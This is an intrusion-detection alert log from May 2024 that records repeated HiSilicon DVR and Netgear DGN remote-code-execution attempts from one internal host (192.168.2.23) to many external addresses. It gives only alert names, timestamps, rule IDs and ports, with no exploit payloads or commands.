ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 97.255.143.143

Timestamp:	05/16/24-16:39:14.525620
SID:	2030487
Source Port:	38284
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 134.138.95.211

Timestamp:	05/16/24-16:38:57.435784
SID:	2030488
Source Port:	54772
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 134.138.95.211

Timestamp:	05/16/24-16:38:57.435784
SID:	2030487
Source Port:	54772
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 73.151.230.39

Timestamp:	05/16/24-16:39:16.603143
SID:	2030488
Source Port:	34220
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 73.151.230.39

Timestamp:	05/16/24-16:39:16.603143
SID:	2030487
Source Port:	34220
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 78.104.122.133

Timestamp:	05/16/24-16:38:50.047766
SID:	2030488
Source Port:	52054
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 78.104.122.133

Timestamp:	05/16/24-16:38:50.047766
SID:	2030487
Source Port:	52054
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 163.135.74.233

Timestamp:	05/16/24-16:39:14.527616
SID:	2030487
Source Port:	57466
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 163.135.74.233

Timestamp:	05/16/24-16:39:14.527616
SID:	2030488
Source Port:	57466
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 14.197.93.226

Timestamp:	05/16/24-16:39:14.530344
SID:	2030487
Source Port:	47196
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 14.197.93.226

Timestamp:	05/16/24-16:39:14.530344
SID:	2030488
Source Port:	47196
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 172.4.126.223

Timestamp:	05/16/24-16:38:57.407572
SID:	2030488
Source Port:	47064
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 172.4.126.223

Timestamp:	05/16/24-16:38:57.407572
SID:	2030487
Source Port:	47064
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 169.141.148.217

Timestamp:	05/16/24-16:38:55.192744
SID:	2030488
Source Port:	49588
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 169.141.148.217

Timestamp:	05/16/24-16:38:55.192744
SID:	2030487
Source Port:	49588
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 183.36.140.207

Timestamp:	05/16/24-16:39:14.491199
SID:	2030488
Source Port:	49348
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 183.36.140.207

Timestamp:	05/16/24-16:39:14.491199
SID:	2030487
Source Port:	49348
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 107.28.134.234

Timestamp:	05/16/24-16:38:57.432982
SID:	2030487
Source Port:	52076
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 107.28.134.234

Timestamp:	05/16/24-16:38:57.432982
SID:	2030488
Source Port:	52076
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 42.163.37.66

Timestamp:	05/16/24-16:39:08.044865
SID:	2030488
Source Port:	47562
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 200.142.49.242

Timestamp:	05/16/24-16:38:53.065659
SID:	2030488
Source Port:	56608
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 171.163.157.37

Timestamp:	05/16/24-16:38:59.557691
SID:	2030488
Source Port:	34564
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 200.142.49.242

Timestamp:	05/16/24-16:38:53.065659
SID:	2030487
Source Port:	56608
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 171.163.157.37

Timestamp:	05/16/24-16:38:59.557691
SID:	2030487
Source Port:	34564
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 42.163.37.66

Timestamp:	05/16/24-16:39:08.044865
SID:	2030487
Source Port:	47562
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 54.122.50.249

Timestamp:	05/16/24-16:39:05.712987
SID:	2030487
Source Port:	56028
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 54.122.50.249

Timestamp:	05/16/24-16:39:05.712987
SID:	2030488
Source Port:	56028
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 177.255.191.101

Timestamp:	05/16/24-16:38:55.196495
SID:	2030487
Source Port:	56864
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 177.255.191.101

Timestamp:	05/16/24-16:38:55.196495
SID:	2030488
Source Port:	56864
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Netgear DGN Remote Code Execution - Source IP: 192.168.2.23 - Destination IP: 63.26.144.6

Timestamp:	05/16/24-16:38:53.398642
SID:	2034576
Source Port:	33974
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 71.214.126.53

Timestamp:	05/16/24-16:39:05.675837
SID:	2030487
Source Port:	55154
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 88.52.71.247

Timestamp:	05/16/24-16:38:53.098221
SID:	2030488
Source Port:	56020
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 71.214.126.53

Timestamp:	05/16/24-16:39:05.675837
SID:	2030488
Source Port:	55154
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 88.52.71.247

Timestamp:	05/16/24-16:38:53.098221
SID:	2030487
Source Port:	56020
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 71.131.106.217

Timestamp:	05/16/24-16:39:03.263580
SID:	2030488
Source Port:	54456
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 71.131.106.217

Timestamp:	05/16/24-16:39:03.263580
SID:	2030487
Source Port:	54456
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 212.163.21.27

Timestamp:	05/16/24-16:39:14.531149
SID:	2030488
Source Port:	59294
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 212.163.21.27

Timestamp:	05/16/24-16:39:14.531149
SID:	2030487
Source Port:	59294
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 165.205.48.73

Timestamp:	05/16/24-16:39:08.146615
SID:	2030487
Source Port:	52100
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 165.205.48.73

Timestamp:	05/16/24-16:39:08.146615
SID:	2030488
Source Port:	52100
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 90.208.22.26

Timestamp:	05/16/24-16:38:50.048858
SID:	2030488
Source Port:	53912
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 53.116.0.123

Timestamp:	05/16/24-16:38:53.013578
SID:	2030488
Source Port:	39916
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 90.208.22.26

Timestamp:	05/16/24-16:38:50.048858
SID:	2030487
Source Port:	53912
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 83.214.140.201

Timestamp:	05/16/24-16:39:02.765716
SID:	2030487
Source Port:	42126
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 83.214.140.201

Timestamp:	05/16/24-16:39:02.765716
SID:	2030488
Source Port:	42126
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 43.40.65.117

Timestamp:	05/16/24-16:38:50.069051
SID:	2030487
Source Port:	34720
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 53.182.158.109

Timestamp:	05/16/24-16:39:16.576785
SID:	2030487
Source Port:	41912
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 43.40.65.117

Timestamp:	05/16/24-16:38:50.069051
SID:	2030488
Source Port:	34720
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 53.116.0.123

Timestamp:	05/16/24-16:38:53.013578
SID:	2030487
Source Port:	39916
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 53.182.158.109

Timestamp:	05/16/24-16:39:16.576785
SID:	2030488
Source Port:	41912
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 104.131.172.115

Timestamp:	05/16/24-16:38:50.046311
SID:	2030488
Source Port:	53608
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 104.131.172.115

Timestamp:	05/16/24-16:38:50.046311
SID:	2030487
Source Port:	53608
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 110.249.236.172

Timestamp:	05/16/24-16:39:16.603450
SID:	2030488
Source Port:	36598
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 110.249.236.172

Timestamp:	05/16/24-16:39:16.603450
SID:	2030487
Source Port:	36598
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 31.158.28.54

Timestamp:	05/16/24-16:39:08.035669
SID:	2030488
Source Port:	43882
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 120.17.233.53

Timestamp:	05/16/24-16:39:08.145401
SID:	2030487
Source Port:	52356
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 143.74.232.152

Timestamp:	05/16/24-16:39:08.149407
SID:	2030487
Source Port:	56500
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 37.32.104.205

Timestamp:	05/16/24-16:38:55.201908
SID:	2030488
Source Port:	42768
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 37.32.104.205

Timestamp:	05/16/24-16:38:55.201908
SID:	2030487
Source Port:	42768
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 31.158.28.54

Timestamp:	05/16/24-16:39:08.035669
SID:	2030487
Source Port:	43882
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 143.74.232.152

Timestamp:	05/16/24-16:39:08.149407
SID:	2030488
Source Port:	56500
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 9.235.35.42

Timestamp:	05/16/24-16:39:02.767184
SID:	2030487
Source Port:	53392
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 9.235.35.42

Timestamp:	05/16/24-16:39:02.767184
SID:	2030488
Source Port:	53392
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 120.17.233.53

Timestamp:	05/16/24-16:39:08.145401
SID:	2030488
Source Port:	52356
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 202.109.104.125

Timestamp:	05/16/24-16:38:59.557632
SID:	2030488
Source Port:	55070
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 204.140.231.228

Timestamp:	05/16/24-16:39:05.705586
SID:	2030487
Source Port:	52396
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 113.206.98.145

Timestamp:	05/16/24-16:38:59.590385
SID:	2030487
Source Port:	48694
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 113.206.98.145

Timestamp:	05/16/24-16:38:59.590385
SID:	2030488
Source Port:	48694
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 204.140.231.228

Timestamp:	05/16/24-16:39:05.705586
SID:	2030488
Source Port:	52396
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 19.11.216.89

Timestamp:	05/16/24-16:38:53.069341
SID:	2030487
Source Port:	52398
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 19.11.216.89

Timestamp:	05/16/24-16:38:53.069341
SID:	2030488
Source Port:	52398
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 202.109.104.125

Timestamp:	05/16/24-16:38:59.557632
SID:	2030487
Source Port:	55070
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 211.158.95.158

Timestamp:	05/16/24-16:38:55.176055
SID:	2030488
Source Port:	59244
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 211.158.95.158

Timestamp:	05/16/24-16:38:55.176055
SID:	2030487
Source Port:	59244
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Netgear DGN Remote Code Execution - Source IP: 192.168.2.23 - Destination IP: 66.53.197.168

Timestamp:	05/16/24-16:39:13.656949
SID:	2034576
Source Port:	42650
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 27.45.65.50

Timestamp:	05/16/24-16:39:16.598999
SID:	2030488
Source Port:	52334
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 27.45.65.50

Timestamp:	05/16/24-16:39:16.598999
SID:	2030487
Source Port:	52334
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 12.172.250.221

Timestamp:	05/16/24-16:38:50.004125
SID:	2030487
Source Port:	37590
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 12.172.250.221

Timestamp:	05/16/24-16:38:50.004125
SID:	2030488
Source Port:	37590
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 124.211.190.237

Timestamp:	05/16/24-16:38:50.078892
SID:	2030487
Source Port:	50032
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 124.211.190.237

Timestamp:	05/16/24-16:38:50.078892
SID:	2030488
Source Port:	50032
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 80.234.20.79

Timestamp:	05/16/24-16:39:03.281741
SID:	2030487
Source Port:	60792
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 133.88.23.174

Timestamp:	05/16/24-16:39:05.709862
SID:	2030487
Source Port:	60398
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 89.9.131.49

Timestamp:	05/16/24-16:39:14.524369
SID:	2030487
Source Port:	52658
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 80.234.20.79

Timestamp:	05/16/24-16:39:03.281741
SID:	2030488
Source Port:	60792
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 133.88.23.174

Timestamp:	05/16/24-16:39:05.709862
SID:	2030488
Source Port:	60398
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 89.9.131.49

Timestamp:	05/16/24-16:39:14.524369
SID:	2030488
Source Port:	52658
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 194.194.189.237

Timestamp:	05/16/24-16:39:16.608731
SID:	2030487
Source Port:	35116
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 194.194.189.237

Timestamp:	05/16/24-16:39:16.608731
SID:	2030488
Source Port:	35116
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 143.106.227.76

Timestamp:	05/16/24-16:39:05.677754
SID:	2030487
Source Port:	42406
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 143.106.227.76

Timestamp:	05/16/24-16:39:05.677754
SID:	2030488
Source Port:	42406
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 20.91.217.159

Timestamp:	05/16/24-16:38:50.047672
SID:	2030487
Source Port:	51886
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 20.91.217.159

Timestamp:	05/16/24-16:38:50.047672
SID:	2030488
Source Port:	51886
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Netgear DGN1000/DGN2200 Unauthenticated Command Execution Outbound - Source IP: 192.168.2.23 - Destination IP: 158.131.1.161

Timestamp:	05/16/24-16:39:13.657143
SID:	2029215
Source Port:	33530
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 68.66.164.252

Timestamp:	05/16/24-16:39:12.304172
SID:	2030487
Source Port:	48008
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 68.66.164.252

Timestamp:	05/16/24-16:39:12.304172
SID:	2030488
Source Port:	48008
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Inbound) - Source IP: 192.168.2.23 - Destination IP: 90.237.133.209

Timestamp:	05/16/24-16:39:03.276022
SID:	2030487
Source Port:	32984
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 71.93.235.204

Timestamp:	05/16/24-16:39:05.676827
SID:	2030488
Source Port:	59706
Destination Port:	9530
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Attempted HiSilicon DVR/NVR/IPCam RCE (Outbound) - Source IP: 192.168.2.23 - Destination IP: 90.237.133.209

Timestamp:	05/16/24-16:39:03.276022
SID:	2030488
Source Port:	32984
Destination Port:	9530
Protocol:	TCP
